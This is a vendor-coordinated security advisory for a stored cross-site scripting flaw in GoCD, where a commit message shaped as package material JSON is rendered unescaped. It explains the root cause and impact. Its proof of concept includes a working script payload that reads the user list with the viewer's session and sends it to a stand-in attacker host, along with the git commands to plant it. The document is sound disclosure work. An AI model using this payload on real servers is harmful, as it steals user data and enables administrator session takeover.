GoCD: Stored XSS via Forged Package Material Comments
Anyone able to push into a repository monitored by GoCD shapes a commit message as package material JSON; GoCD then emits it without HTML escaping and the embedded script runs in the session of every viewer, up to the administrator.
Advisory ID: TP-2026-037
Product: GoCD (open-source continuous delivery server with pipeline modelling, value stream map and distributed build agents)
Vulnerability type: Stored cross-site scripting through SCM material comments (CWE-80)
CVE: CVE-2026-68919
CVSS 4.0: 7.0 (High) · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
Vendor advisory: GHSA-pp5x-wgv2-g37p
Affected versions: >= 13.3.0, < 26.1.0
Fixed in: 26.1.0
Reported: 4 July 2026
Summary
GoCD is an open-source continuous delivery server that monitors source repositories as so-called materials and displays the comments of the detected changes in its web interface. When rendering those comments, GoCD decides from a string search inside the comment text itself whether it is looking at a package material comment, and in that case switches to a render path that emits the text without HTML escaping. Anyone able to push into a monitored repository therefore shapes a commit message so that it hits this path, and places arbitrary markup on the stage detail, job detail, VSM and pipeline history pages. Because GoCD sets no Content-Security-Policy header, the embedded script runs unimpeded in the origin of the GoCD server and in the session of every viewer, up to and including the system administrator. turingpoint verified the vulnerability live and reported it to the vendor, who fixed it in version 26.1.0.
Root cause
render_comment_markup_for (server/src/main/webapp/WEB-INF/rails/app/helpers/materials_helper.rb:24) decides solely by the substring regex /"TYPE":"PACKAGE_MATERIAL"/ against the raw comment text (:25) whether a comment is treated as a package material comment. For a git, Mercurial or Subversion material that comment is the commit message (render_comment calls modification.getComment(), :33), so it is controlled by anyone with write access to the repository. On a match the text travels through render_comment_for_package_material (:36-38) and ActiveSupport::JSON.decode (:47) into get_comment, which interpolates comment_map['COMMENT'] unescaped and marks the result .html_safe (:51, :38). The sibling branch of the same method escapes correctly through DefaultCommentRenderer using StringEscapeUtils.escapeHtml4 (config/config-api/src/main/java/com/thoughtworks/go/domain/DefaultCommentRenderer.java:112), so a committer opts out of the protected branch and into the raw one purely through the shape of the commit message. GoCD sends no Content-Security-Policy header, and the comment is already rendered when the pipeline is scheduled, which is why neither a package repository plugin nor a running build agent is required.
Proof of Concept
# 1) Write the commit message as forged package material JSON into a file
cat > msg.txt <<'EOF'
{"TYPE":"PACKAGE_MATERIAL","COMMENT":"<img src=x onerror=fetch('/go/api/users',{credentials:'include'}).then(r=>r.text()).then(t=>navigator.sendBeacon('https://attacker.example/x',t))>","TRACKBACK_URL":"http://tracker.invalid/1"}
EOF
# 2) Push into a repository that GoCD monitors as a git material of a pipeline
git commit --allow-empty -F msg.txt && git push
# 3) GoCD polls the material and schedules the pipeline; the stage detail page
# serves the comment unfiltered to every viewer
GET /go/pipelines/vr2pipe/1/defaultStage/1
# <div class='container'><img src=x onerror=...></div>
The classifier only checks whether the marker string occurs in the comment, not what type the material actually has, so a suitably shaped commit message bypasses the escaping renderer. Verified live on gocd/gocd-server:v25.4.0: the <img> element appeared raw inside <div class='container'>, while the "Modified by" field on the same page was correctly escaped as <[email protected]>, and neither a package repository plugin nor a build agent was present. If the commit message carries the marker string together with invalid JSON, ActiveSupport::JSON.decode raises instead and the page answers with HTTP 500.
Impact
- Script execution in the origin of the GoCD server, in the session of every user who opens the stage detail, job detail, VSM or pipeline history page of the affected pipeline.
- Takeover of an administrator session, which permits creating further administrators, rewriting
cruise-config.xmland reading stored secrets. - Write access to a repository monitored by GoCD is enough as a starting position; the attacker needs no GoCD account.
- Denial of service as a secondary effect: a commit message with the marker string and invalid JSON makes the affected page fail with HTTP 500.
References
Is Something Like This in Your Software?
Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
